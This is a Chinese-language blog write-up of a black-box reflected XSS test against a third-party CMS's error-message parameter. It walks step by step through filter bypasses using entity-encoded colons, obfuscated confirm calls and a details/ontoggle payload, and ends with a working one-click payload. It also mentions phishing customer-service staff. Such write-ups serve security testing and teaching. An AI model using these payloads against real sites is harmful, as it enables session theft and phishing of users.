黑盒的魅力,记录一次xss攻击
#1:测试项目业务,无意一顿乱点触发了这么一个接口:
/client/common/error?errcode=500&errmsg=
是个第三方cms,大家可能能看出来是啥cms
当我输入
/client/common/error?errcode=500&errmsg=testest
发现页面输出了我们的testtest:
输出源码:
<div class="scan-login-tips">testtest</div>
尝试输入测试payload:
asdasdasd"</>asdasdasd'/asdasdasd'
输出源码:
<div class="scan-login-tips">asdasdasd"asdasdasd'/asdasdasd'</div>
发现过滤了<>,按理说我应该放弃的,但是我当手贱输入了:
"><img src=1>
发现执行了图片,ohhhhhhhhhhhhhhh,那就说明图片解析了,那我们输入
<img src=1 onerror=alert(1)>
不就可以xss了?
我们试试:
把我们过滤掉了
我们混淆下,输入
<img src=1 xxx>
我们再次混淆下:
<xxx img/src/xxx>
已经彻底没有img src的身影了,说明他这里的过滤器规则就是只允许<img src="图片地址">去加载一张图片
可以输入
<img src=javascript:alert(1)>
来尝试能否xss,但是我并没有这样做,因为这样的弹窗只能在IE浏览器6.0下,几乎没有任何利用价值,还没有我外部加载一张色情图片价值大.
前情回顾:
直接输入<>会被过滤的一干二净,而输入<img src=1>会有记录:
我们输入图片没被过滤,是因为我们的标签是合法的,对程序来说,是无害的,命中了,那么顺藤摸瓜,跑一下html标签吧
发现可用的标签只有:
18 <a href="123">123</a> 200 false false 1193 5 <link> 200 false false 1188 24 <img src=1> 200 false false 1187 25 <img/src=1> 200 false false 1187 12 <em>123</em> 200 false false 1184 11 <i>123</i> 200 false false 1182 17 <a>123</a> 200 false false 1182
其中<img src=1>已经测试过了,只能让我传送图片,后续又对其他的标签测试,都不能空格分割输入我们的事件,那么我们最后的希望<a>标签
尝试输入:
<a href="javascript:alert(1)">1111</a>
发现被转换了:
<div class="scan-login-tips">a<a href="＂ｊａｖａｓｃｒｉｐｔ：ａｌｅｒｔ（１）＂">1111</a></div>
对我们的输入做了处理,我们稍微变形下,看看这是全局的中文编码处理,还是关键字处理:
输入:
<a href="jav1scrip1:123">1111</a>
发现即使是混淆了javascript,会强制转换成#,去掉冒号其后面的数据再次输入:
a<a%20href="jav1scrip1">1111</a>
这次他没有被强制转换成#,原样输出,我们继续尝试新的输入:
a<a href="javascript">1111</a>
通过源码观察发现,如果我不输冒号(:),他就不会对我们的输入进行强转和安全编码,那么我们可以对冒号(:)进行编码:
输入:
<a href="javascript:alert(1)">1111</a>
提示了系统错误,为什么是系统错误呢?
因为我们的本意是输入:,他是一个实体字符,但是浏览器上直接输入&,会认为colon;***这一串,是我们的参数,这时候应该怎么做?
对&特殊字符url编码成%26:
我们再次输入payload:
<a href="javascript%26colon;alert(1)">1111</a>
发现我们的前缀都落地了,唯独alert触发关键字被编码了,我们输入个无害的关键字试试:
<a href="javascript%26colon;aaaa">1111</a>
发现没被特殊编码处理,好了,我们尝试换个关键字,我们遵循一个原则,能用简单的方法绕过,就不要尝试高深复杂的,依次递增绕过难度:
尝试输入:
a<a%20href="javascript%26colon;(((confirm)))(1)">1111</a>
可以绕过的方法太多了,提供一种:
点击页面的111,从而触发xss:
好了,我们实现了第一步xss弹窗,但是很鸡肋有没有? 需要我们被动点击,这个漏洞对我们来说价值变低了,如果拿去钓鱼,还得诱骗客服点击两次,我们要求点击一次的xss反射xss可以吗??
但是信任标签就这几个了,这条路断掉了.
#2 新的征程:
我能不能通过实体编码,达成输出我们的恶意payload,我们来试试,黑盒多次发现:
我们换个payload:
asdas<dasd</>asdasdasd%27/asdas%27"%26quot;%26lt;img src=1%26gt;
不要再问&为什么要编码处理,前面有讲!
查看输出:
具体源码:
<div class="scan-login-tips">asdasasdasdasd'/asdas'""<img src="1"></div>
我开始继续改造一步到位:
用一个前几年的万金油payload,工作电脑没什么xss payload
尝试输入:
asdas<dasd</>asdasdasd%27/asdas%27"%26quot;%26lt;details/open/ontoggle=alert(1)%26gt;
对应输出:
<div class="scan-login-tips">asdasasdasdasd'/asdas'""<details open="" ontoggle="ａｌｅｒｔ（１）"></details></div>
对alert(1)进行处理了使用前面的bypass payload:(((confirm)))(1)
最后一次改造我们的输入:
asdas<dasd</>asdasdasd%27/asdas%27"%26quot;%26lt;details/open/ontoggle=(((confirm)))(1)%26gt;
浏览器输入运行:
直接命中了
cookie传输外带就不说了,就分享到这里了
